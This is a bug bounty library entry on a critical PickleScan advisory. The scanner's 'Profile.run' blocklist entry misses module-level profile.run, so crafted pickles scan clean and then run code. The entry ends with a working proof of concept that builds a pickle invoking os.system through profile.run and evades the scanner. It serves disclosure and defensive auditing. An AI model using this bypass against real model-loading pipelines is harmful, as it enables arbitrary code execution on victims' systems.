# PickleScan's profile.run blocklist mismatch allows exec() bypass

PickleScan blocklisted profile.Profile.run but not module-level profile.run, so a crafted pickle calling profile.run() executes arbitrary code while scanning clean.

- Payout: Research
- Severity: critical
- Program: PickleScan
- Found by (vendor credit): yash2998chhabria
- Found by: yash2998chhabria
- Disclosed: 2026-03-03
- CVE: CVE-2026-53873
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7wx9-6375-f5wh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7wx9-6375-f5wh
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:source-review vuln:deserialization vuln:rce

**Target:** Python pickle scanner (picklescan) blocklist logic
**Root cause:** Blocklist entry "Profile.run" is compared by exact string equality against the pickle global name "run", so the module-level profile.run function is never matched.
**Steps:**
1. Craft pickle with STACK_GLOBAL resolving module `profile`, name `run`, and argument `import os; os.system('id')`
2. Scan with `scan_pickle_bytes` — returns 0 issues because `"run" != "Profile.run"`
3. `pickle.loads(payload)` invokes profile.run(), which calls exec() on the statement, running the command
**How found:** Noticed the blocklist stored dotted class-method names (Profile.run) while the scanner compares against the bare pickle global name (run), then checked Python's Lib/profile.py and found the module-level run() also calls exec().
**Exploitation:** Attacker supplies a malicious pickle to any pipeline using picklescan as a gate; scanner reports clean, then unpickling executes profile.run(statement) → exec() → arbitrary code.
**Insight:** When auditing pickle/deserialization blocklists, enumerate every module-level function that internally calls exec/eval/os.system — blocklists keyed on Class.method names miss the bare module-level equivalents because the scanner compares only the global's name field.

## Proof of concept (copied exactly from the original report)

**Pickle payload bypassing profile.run blocklist**

```
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!
```

